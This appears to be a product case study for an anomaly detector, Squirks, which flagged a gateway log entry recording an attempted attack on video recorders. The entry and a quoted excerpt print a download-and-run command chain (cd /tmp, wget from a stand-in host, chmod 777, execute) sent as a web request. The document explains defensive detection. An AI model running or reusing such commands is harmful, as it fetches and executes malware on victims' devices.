

An attack nobody wrote a rule for

Someone on the internet tried to trick one of our computers into downloading and running a harmful program. No security tool had been told to watch for it. Squirks flagged it eight seconds later anyway.

8 sec from the attempt to the top of Squirks' list

0 rules or warning lists anyone had to write or buy

1 line for a person to read, instead of a mountain of logs

What happened

Every business network has a front door: a computer that sits between the office and the internet. Ours is called the gateway. It keeps a logbook, one line of text for every request that comes in from outside.

On September 26, an automated program somewhere on the internet sent the gateway a request with instructions tucked inside: download a program from another computer, give it permission to run, and run it. Attackers send requests like this to huge numbers of devices, hoping a few will obey.

Most security tools only catch this if someone has already written a rule for it or bought a list of known troublemakers. Nobody had. Squirks caught it because this line looked nothing like the ordinary lines the gateway writes every day.

The line Squirks flagged

```
<182>1 2026-09-26T08:15:48-06:00 gate zeek - - -
{"ts":1790428542.536922,"uid":"C4pRt8wNz2kQv7Xa","id.orig_h":"198.51.100.23","id.orig_p":57584,"id.resp_h":"203.0.113.10","id.resp_p":80,"trans_depth":1,"method":"GET","host":"127.0.0.1:80","uri":"/shell?cd+/tmp;wget+http://192.0.2.77/e5b19c/kaizen.arm+-0+.k;chmod+777+.k;./+k+jaws;wget+http://192.0.2.77/e5b19c/kaizen.arm7+-0+.k;chmod+777+.k;./+k+jaws","user_agent":"r00ts3c-owned-you","request_body_len":0,"response_body_len":0,"tags":[]}
```

0 bits  peak (21.7 bits)

This is that logbook line, exactly as the gateway wrote it. Each character is colored by how surprised Squirks was to see it. **Blue** means “exactly what I expected.” Green through red means “I did not expect this,” and red is the most surprising. Nobody picked the colors. Addresses and IDs are swapped for harmless stand-ins that keep the same colors.

What stood out

The hidden instructions

```
cd /tmp; wget ...; chmod 777 .k; ./+k
```

Written into the web address is a short list of commands: go to a scratch folder, download a program, allow it to run, run it. This part holds 61% of all the surprise in the line. Security researchers recognize the pattern as an attack on a kind of internet-connected video recorder. Squirks did not know that, and did not need to.

The name it gave itself

```
r00ts3c-owned-you
```

Every visitor announces what software it is, and it is usually a web browser. This one called itself “r00ts3c-owned-you,” hacker slang for “we own you.” The zero in “r00t” is the single most surprising character in the whole line.

Where it claimed to be going

```
127.0.0.1
```

This address means “this computer, talking to itself.” The request came from the internet but was addressed as if the gateway were talking to itself. Outsiders have no honest reason to do that. Squirks picked out every address in the line on its own and labeled this one.

Address	Kind	Its part in the story
198.51.100.23	Internet	The sender
203.0.113.10	Internet	Our gateway
127.0.0.1	This computer	Where it claimed to be going
192.0.2.77	Internet	Where the harmful program was stored

What nobody had to do

- ✗ Describe what normal looks like, or make assumptions about it
- ✗ Anticipate what attackers will try, or write rules for it
- ✗ Buy or subscribe to a list of known-bad addresses or programs
- ✗ Know anything about this attack, or recognize the harmful program
- ✗ Tell Squirks what a log line is, or which parts of it matter
- ✗ Pick a sensitivity setting for this kind of event

The whole setup: point Squirks at the gateway's logbook and let it learn for four days.

What stayed quiet

About half the line (48%) came out blue: the standard layout every logbook line uses, the ordinary kind of request, and the gateway's own internet address. That is what this gateway sees all day, and Squirks treated it that way. The time stamp and ID number change on every line, so a few of their digits light up on any line.

How Squirks scored it

Squirks never split this line into fields or looked up what any part meant. It learned from raw bytes. A byte is a single character of text, and Squirks studied the gateway's logbook one byte at a time.

Think of the predictive keyboard on a phone, trained only on this gateway's logbook. Before each byte, Squirks guesses what comes next. The score is how wrong the guess was, counted in bits. One bit is a coin flip. Ten bits is one in a thousand. Twenty bits is one in a million.

What Squirks learned is the baseline: a mathematical picture of this gateway's normal, built from nothing but its own logbook. Every new line is measured against it, and the surprise score is how far the line drifts from that baseline. It is a measurement, not an opinion. Someone did have to start it, by pointing Squirks at the logbook and letting it learn. But nobody wrote down what normal looks like, made assumptions about it, or decided what counts as strange. Squirks learned that on its own, and it keeps relearning as the gateway's normal changes.

This line averaged 2.21 bits per byte, and its most surprising byte scored 21.7: about one-in-three-million odds. That is a long way from this gateway's normal, far enough to put it at the top of the list. Nothing about the score depends on what the attack is called or whether anyone has seen it before.

Why it matters

Rules only catch what someone has already described. To write one, you have to anticipate what attackers will try next. With Squirks, you don't. Tomorrow's version of this attack will use a different file name, a different server, and a different nickname, and there will be no rule for that either. It will still look nothing like your normal day, and that is what Squirks watches for.